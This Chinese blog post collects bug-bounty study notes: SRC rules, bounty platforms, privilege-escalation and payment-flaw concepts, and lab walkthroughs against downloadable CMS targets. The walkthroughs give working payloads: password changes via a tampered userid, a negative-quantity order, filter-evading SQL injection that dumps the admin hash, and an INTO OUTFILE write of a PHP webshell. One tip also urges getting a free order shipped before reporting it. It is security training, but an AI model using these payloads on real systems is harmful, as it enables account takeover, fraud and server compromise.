1.30 漏洞挖掘

挖洞规则(不是渗透)

bug hunter vs pentest

什么是SRC?

Security Response Center 安全应急响应中心

现在市面上存在了各种厂商的安全应急响应中心:https://www.anquanke.com/src/

了解你所要提交的SRC平台规则和要求,不同的平台给出的评分标准不同。

详细阅读测试范围,不要超出,会有非法测试的风险。

遵循安全测试规范,比如sql注入会有要求,哪些东西不能读取,最多读取多少条。

挖到数据库,只需要读取一两条证明。

不要使用自动化工具,sqlmap(自动化软件有可能会造成不可预料的后果,比如删库) 条件允许测试越权漏洞,注册2个+账号,不要涉及在线用户。

大多数厉害网站一般都会出现越权注销功能(很多短信轰炸)

购物网站0元购或者积分,不会承认,让他发货,你再提交 xss漏洞,在线xss平台(不要用),自己搭建

情报漏洞不要做: 某公司业务有漏洞可以删差评,有人进行出售,然后把出售截图提交给公司,公司核实之后支付报酬

游戏外挂出售 电商信息出售 刷钻漏洞等 如果可以进而发现漏洞就可以提2次

企业内鬼证据、bc网站不要碰(国内,除非你水平特别高)

没有授权不要碰,某些奇怪的src不要碰 做一些大的src,挖洞项目,国外挖洞 bat,字节,美团。。。。。 教育src

众测:

(有钱) 漏洞盒子—-金融—–养号

补天众测—-白帽子推荐/前300/挖到5个企业src高危/任意src平台年度top3 补天平台—-专属src–政府

360众测(门票ctf注册资格,不一定一直有项目)

火线平台(比较卷) 雷神众测—-抢项目—银行 cve cnvd 编号:(有漏洞变化) cnvd: 三大运营商,国企事业单位 通用性,资产大于等于5000w

概念解释

越权

横向越权:同级权限跨越

纵向越权:拿到不同级别的权限(如Admin)

未授权:在没有做认证的情况下可以做认证后才能做的操作。

支付漏洞

支付逻辑常见测试:

  1. 熟悉常见支付流程

选择商品和数量-选择支付及配送方式-生成订单编号-订单支付选择-完成支付

  1. 熟悉那些数据篡改

商品ID,购买价格,购买数量,订单属性,折扣属性,支付方式,支付状态等

  1. 熟悉那些修改方式

替换支付,重复支付,最小额支付,负数支付,溢出支付,优惠券支付等

  1. 熟悉那些另类方法

无限试用,越权支付,并发兑换,四舍五入半价购,循环利用优惠券,支付签约逻辑等

靶场实操

安装metinfo这个cms作为靶场:https://pan.baidu.com/s/1NOOP_SuNqeyz2Ld3yQebmg?pwd=8grs

越权

修改他人密码

横向/纵向越权:

在修改自己密码时抓包,发现数据包中验证用户身份的只有userid这一个,因此我们尝试修改userid的内容为其他用户,甚至是admin,放包。尝试登录发现成功。


Tips: 在实操中成功修改admin密码后无法登录通常是因为管理员的登录页面和普通用户不一样。


未授权:

在修改自己密码时尝试把数据包中的cookie删除,发现密码同样可以删除成功。

支付漏洞

安装easycms:https://pan.baidu.com/s/1a3po_LJ2NeWzDMreN3t2rQ?pwd=2uns

在购买物品时抓包,发现数据包中并未有价格相关数据,但是又物品id和物品数量,推测网站数据库中将物品id和价格已经绑定。

1
GET /index.php?case=archive&act=doorders&aid=83&datatype=&buy=true&thisnum=1

这里把thisnum的值为-100,发现价格变为负数,提交订单后订单显示支付成功,并且余额增加。

sql注入

安装BESScms:https://pan.baidu.com/s/1YkAYFphFxb-_7Y4MGZrcbw?pwd=pnfr

已知管理员登录界面可以进行sql注入,下面展示注入流程:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
admin'or (extractvalue(1,concat(0x7e,database(),0x7e)))#	//besscms

admin'or (extractvalue(1,concat(0x7e,(selselectect group_concat(table_name) fr from om information_schema.tables whe where re table_schema like database()),0x7e)))# //bees_admin,bees_admin_group,bee

admin'or (extractvalue(1,concat(0x7e,(selselectect group_concat(column_name) fr from om information_schema.columns whe where re table_schema like database() a and nd table_name like 'bees_admin'),0x7e)))# //id,admin_name,admin_password,ad

admin'or (extractvalue(1,concat(0x7e,(selselectect group_concat(admin_name) fr from om bees_admin),0x7e)))# 	//admin

admin'or (extractvalue(1,concat(0x7e,substr((selselectect group_concat(admin_password) fr from om bees_admin),1,15),0x7e)))#

admin'or (extractvalue(1,concat(0x7e,substr((selselectect group_concat(admin_password) fr from om bees_admin),16,32),0x7e)))# //21232f297a57a5a743894a0e4a801fc3

我们甚至可以不满足于拿到管理员密码,我们尝试注入一句话木马:

1
2
admin'un union ion selselectect 1,2,3,4,0x3c3f706870206576616c28245f504f53545b27313233275d293b3f3e
 in into outoutfilefile 'C:/phpstudy_pro/WWW/test/123.php'#
Licensed under CC BY-NC-SA 4.0
已存在于互联网
发表了126篇文章 · 总计210.25k字
萌ICP备20267077号
Powered by ctOS